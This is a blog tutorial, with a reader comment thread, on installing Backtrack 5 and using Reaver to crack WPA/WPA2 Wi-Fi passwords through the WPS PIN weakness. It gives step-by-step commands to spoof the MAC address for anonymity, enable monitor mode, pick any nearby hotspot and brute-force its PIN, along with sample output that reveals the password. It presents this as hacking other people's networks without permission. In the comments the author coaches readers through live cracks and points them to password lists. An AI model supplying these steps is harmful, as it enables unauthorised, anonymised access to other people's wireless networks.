Backtrack Install + Reaver v1.4 Wifi Cracker


Today I’m going to be showing you how to hack almost all WPA/ WPA-2 Wifi hot spots :) First I say “almost” because Reaver uses an exploit in the WPS (Wi-Fi Protected Setup) in wireless routers to find a certain pin that it than brute forces to try to get, which when you have the pin; Reaver gives you the WPA password :) Also to do this your wireless router needs to be compatible with Backtrack so please go to this website

But even if your wireless card isn’t, there it might still work. Mine wasn’t and it worked so you never know.

Please NOTE for me, Backtrack doesn’t work on VMware if you want to use any of its wireless hacking programs, this is because VMware tricks Backtrack into thinking that you are on a desktop with a wired connection. So wireless attacks or Hacks won’t work :(

To fix this you have to install Backtrack as another operating system on your computer. Here is another tutorial on how to do so.

NOTE: If you know how to or already have backtrack Installed and working just skip the downloading and installing part of this tutorial. Go to the DONE INSTALLING BACKTRACK in red

What I would like for you to do is download backtrack 5 r2, just make it look like this picture

_______________________Okay so now just click “click to download”

and then “No Thanks” after that if you want.

This will take a while so after its done. (PS: Your going to need a torrent down loader)

I would also recommend installing Backtrack on a partition not with Windows ( A lot easier to Delete )

Now here is a tutorial on how to Install Backtrack 5


Here is a tutorial on how to make Backtrack dual boot

Part 2

Okay so you have Backtrack installed and everything!!!

PS: Backtrack is basically a hacking operating system so you can do just tones of things with it :) not just hacking in to Wifi s.

Now what I would like you to do first is test out the wireless, to see if it will actually work.

First go into the | Applications at the top left/ than internet/ then click on Wicd Network Manager.

If you don’t see anything that’s not good :( or it means that you aren’t near any wifi hot spots :(

But if you are, and you don’t see anything the you can uninstall backtrack by following this link.

Okay, but if everything is working then open up the Wicd Network Manager and connect to your Wireless router.

Just click on properties and then type in your password in the Key box close to the bottom. Then click okay. Then Connect

Now open up a terminal. You can find it in Applications/ Accessories/ Terminal

Now type in

apt-get update

if some stuff comes up it’s okay. It’s suppose to, and if it asks you if you want to update type in “y” and wait for it to finish.

Then after that is done type in

apt-get upgrade

Same thing will happen just type in “y” and then wait for it to finish

Last one you want to type in is

apt-get dist-upgrade

Same thing, Type in all of these commands again and again until it keeps saying no updates or something like that… These are the commands to ask the computer to update!!! so when ever you are on it just type them in to see if there are any updates.


Updating Backtrack 5 R2 to R3 Below

Okay just open up your Terminal and type in the following

apt-get update && apt-get dist-upgrade

Now if you have a 32 bit version type this in

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r artemisa rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack uberharvest acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

Now if you have a 64 bit version type this in

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

After Updating

So now that you are done Installing Backtrack you can go back in to Wicd Network Manager and disconnect from your wifi.

First what I’m going to do is change my Mac Address, so that if they (The network that you are hacking). Finds out what your computer is, they can find out who you are from your mac address (Not by them selves, but it’s always good to be Anonymous :) So , to do this you have to open up the Terminal and type in.

ifconfig wlan0 down

what this does is kind of put you wireless card to sleep so you can edit it

now type in

macchanger -A wlan0

this will spoof your mac address so that they won’t be able to know who you are

now type in

ifconfig wlan0 up

to start the wireless card again

Now what we are going to do is put your wireless card into Monitor Mode

airmon-ng start wlan0

that 0<— is a zero

Now you have just put it in to monitor mode, now type in

airodump-ng mon0

This tells your Wireless card to look for all of the Wireless Hot spots that you can find

now if everything is working you can now choose the Wifi you want to HACK!!!! but it might not work so if you don’t care what wifi you want to hack type in this command to show you all of the wifi hotspots that CAN be hacked with reaver

wash -i mon0

Okay so now that you have this up find the Wifi hotspot that you want to hack and Press “Ctrl + C” to stop it

Now copy the BSSID of the Wifi hot spot that you want to hack it will look something like 00:87:34:G3:23:H6

now type in

reaver -i mon0 -b (Your BSSID) -v -S

(The “-d 0″ will make it go faster but some wireless routers don’t like it so if it’s not working stop it with “Ctrl + C” and type all of that in again but without the “-d 0″ at the end)

This can take 4-10 hours to crack so you can just do it over night.

But after your done you now have the WPA password :D

it will look something like this when it’s done

Trying pin 48375874

WPS PIN: 48375874

WPA: PSK: happwheelskk (This is the password)

AP SSID: WireLessHotSpot (This is the name of the hot spot)

Some more Tricks with Backtrack :)

Okay so now that you have everything set up you can learn how to make a .bat like program in Backtrack.

So first what you need to do is right-click on the Desktop and then create a new document :)

now that you have the text editor open you can type in the commands you want to for the program, for example:

ifconfig wlan0 down

ifconfig wlan0 down

macchanger -A wlan0

ifconfig wlan0 up

ifconfig wlan0 up

and then save the file as what ever you want; “Remember what this does above?? :)

Now that you have saved the file you can open up the terminal and type in

chmod +x “Dirctory of where the file is and the file”

then press enter

what this does is tell the operating system that this can be executed as a terminal command. for example:

chmod +x /root/Desktop/Mac changer Wlan0

and there you have an executable program in Backtrack :)

Okay so all done :)

Thanks for reading if you have any comments please just ask and add your email on the left side of the screen so that you can get updates from my Website!!



  1. hifi says:

    very nice brother good work……………. thanks for sharing ur knowledge may allah bless you

  2. h4x0rm1k3 says:

    You can use a virtual machine BUT you need to have a USB wireless adapter because it won’t work properly ( atall!) with an internal card. If you’re using Vmware workstation then start up your BT virtual machine and once it’s loaded you should see a seperate section on the left hand side under the search bar. There you should see your virtual machine for example mine says BT5R3-GNOME-VM-32, right click on that and in the menu that opens up hover over removable devices and a new menu should open up, in that new menu you should see your external USB card, hover over your card to open yet another menu and in that menu click on ‘connect (disconnect from host) and then you’ll get a pop up asking you to verify the change, click on ok to do so and then you’ll find that your VM will connect directly to your wireless card and allow you to use the features that you normally wouldn’t be allowed access to.
    When you want to use your card with your normal desktop again you can either do the above and instead of ‘connect (disconnect from host) you’ll find that it’s changed to ‘disconnect (connect to host) so just click on it to go back to normal. The other way is to just close the virtual machine and it’ll reset the adapter back to it’s normal function. I have heard that this can be done in the free version of VMware player but i’ve never worked out how to do it yet! I hope this helps someone out including yourself.

  3. inked says:

    Can someone please tel me how to run Reaver on a Mac running OS X mountain Lion? Thanks

  4. inked says:

    Got Backtrack 5 R3 up & running on intel Mac using VMware Fusion 5. I still need to install Reaver in Backtrack, yes? Thanks
    ps. What is Reaver Pro vs. Reaver?

    • pokeastuff says:

      Nope, Backtrack 5 comes with Reaver. Offensive Security “Creators of Backtrack” have made a new Operating System call “Kali Linux”.

      Now that this OS is out, I’ve found that the Backtrack sources and some other things haven’t been working. Here’s the link to download their new OS

      Hope this helps!

      PS: Kali Linux has Reaver as well. Also I believe Reaver Pro just has some more features and support. You don’t need the pro version though. Unless you want what I have described.



      • inked says:

        Hey thank you. I’ve just got it going correctly. Reaver is doing its thing. I’m using the alpha AWUS036NH- it’s plug&play with BT5 R3(it won’t show up if you plug it in before Backtrack is open) I’m running vmware on intel mac. I also made wlan0 my wireless device in WiCD prefs. So we shall see. Getting messages like:warning 10 fail attempts in a row.. But still working.
        The newer OS your referring to: does that include BT5 or just Reaver? I read that Reaver pro was for OS X- assume not true?
        Also sorry for my original post. I sound like such a d-bag.
        Oh the new OS, is that the OS X lookalike? Thanks

        • pokeastuff says:

          Haha no problem. Those errors that you are getting are normal with Reaver. It takes a couple of hours to crack, it will probably finish if you leave it over night. The newer OS I’m talking about is like Backtrack (some people called it Backtrack 6). Yes, it has Reaver installed with it, I find this OS actually works better then Backtrack. When you say “OS X” do you mean Mac software?? Reaver Pro should work on any Linux OS. This may include OS X because it’s based off of Linux.

          Also I’m not sure what you mean when you say “Oh the new OS, is that the OS X lookalike?”.

          Anyways, I still recommend changing your Operating System for pentesting to Kali Linux. Due to Offensive Security creating this new OS, Backtrack will slowly stop getting updates and such.



          • inked says:

            Thanks I’m going to download Kali ISO & run it in vmware.
            From what I understand Reaver will not run on OS X. OS X being official Apple. OS X is build on Unix, not compatible with Linux though. that’s why I originally asked about Reaver pro.
            so those error : 10 failed in a row is normal? That’s all its been doing & trying 00005678 over & over & over…should I stop & start over? Thanks

            • pokeastuff says:

              How long have you been running Reaver?? You can stop it if you want, Reaver will automatically start from it’s last known position. This is probably happening because the connection between your computer and the router is too weak. I would just wait. If it is at the same position tomorrow then move your location so you’re closer to the router you’re cracking.

              • inked says:

                Ok. I stopped Reaver last night. Then downloaded Kali Linux ISO(i386. What version of Linux should I selected when installing in VMware? -Ubuntu 64 bit? Or should I choose Ubuntu 32 bit(since kali(i386) is 32 bit? Thanks

              • pokeastuff says:

                Yes, the version you downloaded is 32 bit. Kali Linux is based off of Debain. So in VMware, when you’re selecting what version of Linux, select Debian or Debian 32bit. “They’re the same thing in Oracle VirtualBox so I’m not sure what your options are in VMware.



  5. inked says:

    Pokeastuff- thank you for the info. That was near impossible to read on my iphone. It went vertically down(1 letter/line) but I got it. I have search for what Linux version for Kali i386 but I cannot find a definitive answer.
    A few sources say to use Ubuntu 64 for VMware but they neglect to say what exact version(i.e. i386) of Kali Linux. I was going to try Ubuntu(assume is 32bit). Opinion?
    Or should I scratch this & get a 64bit iso of Kali? Gnome or other? Thank you very much. -Tim

    • pokeastuff says:

      It’s not that big of a deal if you use Debian or Ubuntu. “Kali Linux is based off of Debian though”. They say so on their website. If you want to be specific it’s Debian version 7.0.1 I believe. Yes, use 32 bit Debian. The version you downloaded from the Kali website is 32 bit.

      Hope this helps.



      • inked says:

        Yes I have the 32bit. But only Debian 6 is listed in vmware. I will keep digging. Usually the default is gnome & I don’t know what gnome is/does so until I have a better understanding I don’t change it. So sorry to bug you with basically the same question. I’ll keep searching tho.
        I could always download the 64 bit version of Kali Linux & use Ubuntu 64. The reason i didnt the 1st time was because I had windows 8 (64 bit) In VMware & my mac was sluggish. I deleted win 8.

        • pokeastuff says:

          So just use Ubuntu 32 bit. It should work the same.

          • inked says:

            Why no Debian 7 in vmware? Only 6. I can’t get Kali to install properly with Ubuntu or Debian. Error when reading CD-Rom(does not contain valid “release” file). I even tried it with vmware 4 but no luck. I downloaded the iso from official site. There is a separate vmware iso but most online guides say use the iso. Any ideas? Thanks

            • pokeastuff says:

              No, there’s only one .ISO. For some reason some people are having the same problems with VMware trying to install Kali Linux. One option is to install Oracle VirtualBox instead, and just use that. What version of VMware do you have??

  6. Edward says:

    im new to this thing. hv any video for more clearly teach?
    How to do Backtrack dual boot? run the wubi.exe and install it on ‘C drive’ or ‘USB drive’ 1st? Than just ready a ‘USB drive with Backtrack 5′ and reboot the computer?

  7. pokeastuff says:

    Kali Linux has Reaver installed right off the bat. It works the exact same as Backtrack 5.

  8. pokeastuff says:

    There’s a website called crackstation that has a really large password lists “15 GB”. It’s free, it also has some smaller ones. That are also free

    • Edward says:

      i already download that password list and how i use the list when i open the kali linux in ‘Live’ mode? Need to install it to use the password list?

  9. pokeastuff says:

    No you shouldn’t need to install it. You just have to find the list in your hard drive by mounting it.

    • Edward says:

      Thanks a lot :) 1 more question :p

      The higher the base memory and processor will effect the speed of the kali linux?

      • Edward says:

        When using fern wifi cracker, it will automatic turn off the screen. The max time can set only 1 hour. will the crack continue running when the screen turn off? thanks :)

        • pokeastuff says:

          Yes it should, I believe there are two options. One is when the screen turns off and the other is when it locks. Just make sure the it never locks and you should be fine. Fern will continue running when the screen is blank then. Just to keep in mind your computer is going to drain power pretty fast. “Unless you have a desktop, then you’re fine”. To change these go to the top right corner of the screen and then click on System settings, then Brightness and Lock.

      • pokeastuff says:

        Haha yes if you have a fast Processor and a lot of memory you’re going to have on fast Kali Linux :)

  10. backtrack says:

    i have a problem a big one
    when i wright this : reaver -i mon0 -b (Your BSSID) -v -S
    the backtrack said : WARNING: Failed to associate with 80:B6:86:96:2C:4C (ESSID: DJAWEB_2C4C)
    and i do evry thing u said
    ???????? help me plz :(

  11. nouh says:

    hey guys i have a big problem help plz
    when i wright this : reaver -i mon0 -b (Your BSSID) -v -S
    backtrack tall me : warning : u cant ;;;;;;;;;;;;;;;;;;;djaweb:::

  12. _gangbang! says:

    can you help me to find a link to download a password wi-fi hacker ?

    • pokeastuff says:

      Sure, but what OS (Operating System) did you want to use?

      In the tutorial I show you how to install Backtrack, (Which is outdated now). Kali linux, which I have another tutorial on how to install is the ideal hacking OS that’s updated more frequently then Backtrack. Kali Linux comes with it’s own arsenal of Wifi hacking software, for example “wifite”. This is a great automated Wifi Hacking tool, written in Python. Wifite may be in Backtrack as well though.

  13. Ashish KUmar says:

    Can any one send me link to download backtrack 5 r3 gnome 32 bit

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  16. larry says:

    if u buy a usb wifi reciever u cab plug it in, go under devices click on ur usb receiver it should show up as wlan0 when u type ifconfig in terminal

    • pokeastuff says:

      It’s possible, it’s more likely that you will need to install the drivers first. I would search up in google “(your receiver) Kali linux install”. But as long as you have an internal Wifi device, the wifi receiver will most likely be “wlan1″.

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